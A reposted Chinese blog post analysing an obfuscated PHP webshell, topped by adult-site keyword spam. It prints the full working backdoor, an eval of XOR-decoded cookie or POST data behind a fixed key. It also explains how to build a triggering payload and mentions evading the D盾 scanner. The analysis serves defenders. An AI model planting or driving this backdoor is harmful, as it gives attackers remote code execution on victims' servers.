日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

php插马,记一次对php猥琐马的爆菊分析(上)

發布時間:2024/1/18 php 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php插马,记一次对php猥琐马的爆菊分析(上) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

最近遇到個文件,打開一看只有幾行注釋?看了下字節數卻很大,橫向進度條很長啊,通過web訪問是空白,看上去應該是藏了后門了。

ps:這種方式遇到粗心/沒有經驗的管理員可能混過去,但若使用win自帶的記事本(需開啟自動換行)則一覽無余。

實際上換行整理一下:

用Notepad++自帶的正則替換簡單做了下格式處理。

另外在下面的代碼中發現了?eval/*r49557ec*/(

還插了注釋,這個小方法很有意思,測試了下函數與"("中間插注釋確實不影響執行。

但實際我測試用類似的注釋方式填充敏感函數,過不了D盾。

一、還原廬山真面目

在進行替換/整理/和諧部分變量名之后,得到如下完整后門代碼(整理后代碼):<?php

$da59aa5 = 208;

$GLOBALS['w8fd00d8'] = Array();

global $w8fd00d8;

$w8fd00d8 = $GLOBALS;

${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";

@ini_set('error_log', NULL);

@ini_set('log_errors', 0);

@ini_set('max_execution_time', 0);

@set_time_limit(0);

if (!defined('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba')){

define('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba', 1);

$vv = NULL;

$kk = NULL;

$w8fd00d8['c77700426'] = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc';

global $c77700426;

function e664fd($vv, $kk){

global $w8fd00d8;

$n513761 = "";

for ($i=0;$i

for ($p=0;$p

$n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));

}

}

return $n513761;

}

function x184f5cc($vv, $kk){

global $w8fd00d8;

global $c77700426;

return e664fd(e664fd($vv, $c77700426), $kk);

}

foreach ($_COOKIE as $k=>$v){

$vv = $v;

$kk = $k;

}

if (!$vv){

foreach ($_POST as $k=>$v){

$vv = $v;

$kk = $k;

}

}

$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));

if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){

if ($vv['a'] == 'i'){

$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);

echo @serialize($l71c40);

}

elseif ($vv['a'] == 'e'){

eval/*r49557ec*/($vv['d']);

}

}

exit();

}

?>

1.前面的代碼部分:需要用到的函數裝入變量數組/并拆分拼接

2.定義了兩個功能函數,主要用來驗證/處理

3.經過一系列限定條件的判斷等,最終觸發eval/*r49557ec*/(

4.整個后門的函數/字符串傳遞幾乎都是使用數組+拼接的方式進行的

這是大致的邏輯,實際爆菊成功之前有幾件事要做:

1.調試出各種已定義變量的值

2.替換字變量/函數名,增加可讀性

3.通過倒序的方式,逐步嘗試調用后門,明確調用邏輯。首先前面幾行:

$GLOBALS['w8fd00d8'] = Array();??//定義全局數組,用于保存后面的各種函數名/字符串,以及直接作為函數執行 ,如$GLOBALS['xx']()

global $w8fd00d8;

$w8fd00d8 = $GLOBALS;

//這里有一個發現,如果變量是被$GLOBALS賦值,那么此變量也會隨著$GLOBALS的值實時更新

如:

$test = $GLOBALS;

訪問:?handsome=321123

$test值也有handsome=321123

這個特性我查了半天資料,沒有找到原因。

下面:

${ "\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";

查了下似乎是16進制或Unicode編碼,雙引號情況下可以直接輸出其值。

由于是16進制,在單引號包裹的情況下也可以使用chr(hexdec(字符串))進行解碼。

當然,我直接打印了所有已定義變量,得到如下:

[a904] => /%2Tu:^61H![0f _VZM#>7q)&,h~\ din chr

[z2d33f00] => ord

[v618c417c] => define

[hb67d10] => strlen

[r018ad5] => defined

[x8a4] => ini_set

[n2eb] => serialize

[be64] => phpversion

[f8d94b] => unserialize

[kdd72d] => base64_decode

[k23b] => set_time_limit

[s6f48] => x184f5cc

[jf1ef40] => e664fd

[c68905ea] => Array

發現

敏感函數unserialize //可能需要反序列化操作

其中下標[a904]的值由于存在特殊字符,沒有顯示完全,另外如需利用到[a904]的值也要考慮這個問題,不能直接輸出使用。

二、觸發條件分析

當時按順序讀了下功能,事后復盤發現,可能比較高效的做法是倒序著讀,順著最下面的執行邏輯往上去構造條件。

所以既然重點在

eval/*r49557ec*/($vv['d']);

那設法$vv['d']可控就好

$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));

可以先不考慮x184f5cc(base64_decode($vv), $kk)是怎么來的,我們先直接修改$vv的值,看怎樣才能滿足執行條件。

if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){

if ($vv['a'] == 'i'){

$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);

echo @serialize($l71c40);

}

elseif ($vv['a'] == 'e'){

eval/*r49557ec*/($vv['d']);

}

}

exit();

后門觸發條件:

1.$vv需要是數組

2.成員必須存在'ak'且'ak'需等于$c77700426的值

$c77700426的值在上面已有定義:為'aec7e489-2fbc-4b15-871f-1d686eeb80dc';

3.成員需存在'a',若值為'i'則輸出版本,為'e'則觸發后門

4.后門執行內容為成員'd'的值

所以$vv需要等于↓↓

array(

'ak'=>'aec7e489-2fbc-4b15-871f-1d686eeb80dc',

'a'=>'e',

'd'=>'執行代碼' //如phpinfo();

);

.直接傳入試試有沒有問題 :

可以執行,回到上面:

$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));

那x184f5cc(base64_decode($vv), $kk)的返回值就需要是序列化后的上面我們構造的數組

也就是:

x184f5cc(base64_decode($vv), $kk) 返回值需要等于 a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

看下x184f5cc()函數做了什么操作?

function??x184f5cc($vv, $kk){

global $w8fd00d8;

global $c77700426;

return e664fd(e664fd($vv, $c77700426), $kk);

}

1.其中$w8fd00d8相當于$GLOBALS

$c77700426是固定值 //'aec7e489-2fbc-4b15-871f-1d686eeb80dc'

2.經過兩次核心混淆函數e664fd()的處理

這時候重新理一下:

我們必須使e664fd(e664fd($vv, $c77700426), $kk);的返回結果為 ↓↓

a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

再來看一下e664fd()函數

function??e664fd($vv, $kk){

global $w8fd00d8;

$n513761 = "";

for ($i=0;$i

for ($p=0;$p

$n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));

}

}

return $n513761;

}

大致功能就是把傳入的兩個參數值逐個字符轉為ASCII碼并進行位運算(取反),得到的結果以字符串形式返回。

位取反有個特點:

1.A與B取反=C

2.B與C取反=A

可逆,B^C當然就得到A了。所以回過頭看:我們必須使函數↓↓

e664fd(e664fd($vv, $c77700426), $kk);

的返回結果為 ↓↓

a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

也就是我們需要在第二次我們必須使e664fd()時候,讓e664fd($vv, $c77700426)與$kk的取反結果等于↓↓

a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

于是需要看看$kk的值是如何過來的,

foreach ($_COOKIE as $k=>$v){

$vv = $v;

$kk = $k;

}

if (!$vv){

foreach ($_POST as $k=>$v){

$vv = $v;

$kk = $k;

}

}

發現$kk/$vv前后沒有做什么驗證,代碼就是就是比較單純的獲取COOKIE或POST提交過來的參數名和參數值并傳給$kk/$vv

我們通過cookie提交來驗證一下是否正常輸出:

沒問題!

三、確定爆菊思路

然后我們大致確定下構造的思路:

e664fd(e664fd($vv, $c77700426), $kk);

第一次e664fd()執行時:

e664fd($vv, $c77700426) //$c77700426 = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc'

需返回能與第二次e664fd() cookie參數名取反結果為a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"......的值

第二次e664fd()執行時:

e664fd(第一次的返回值, $kk);

//需返回

a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

所以構造思路如下:

(('aec7e489-2fbc-4b15-871f-1d686eeb80dc' ^ cookie值) ^ cookie參數名) = a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

按照這個邏輯進行參數提交,方可觸發后門。

但COOKIE/POST中參數名對特殊字符支持有限,所以$kk(參數名)的值最好在字母/數字范圍內,好在$vv(參數值)的值就寬容的多,尤其是由于$vv傳遞過程需要Base64解碼,所以,cookie值需base64編碼,可以取反的字符范圍就比較大了。

$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));

我們先把$kk也就是cookie參數名的字符固定一下,比如就叫'tttttttttttttttttttttttttttttttttttttt.....'(也可以是任意字符 cookie參數名允許即可)

具體長度取決于我們的payload序列化后的字符長度(phpinfo()的序列化后長度是101個字符),兩者長度要一致。

四、寫個Payload腳本

大致實現通過傳參生成任意執行代碼的payload,如果要更懶的話可以直接寫提交過去。

Payload代碼:

生成結果:

執行結果:

問題:

為何我測試許久發現提交的命令只要大于11個字符就報錯,應該不是cookie參數名長度問題,希望有兄弟解答!

..........

彩蛋

我在分析此后門過程中,前面提到的導致無法執行超過11位的payload。

Heihu577兄弟進行了調試并提醒了我原因所在,我很感謝他,并且他把此馬進一步拓展利用,不僅改了過查殺,還可以直接用于SHELL管理工具(如蟻劍),他的文章很精彩,讓我們一起拭目以待他的下文吧!

總結

以上是生活随笔為你收集整理的php插马,记一次对php猥琐马的爆菊分析(上)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。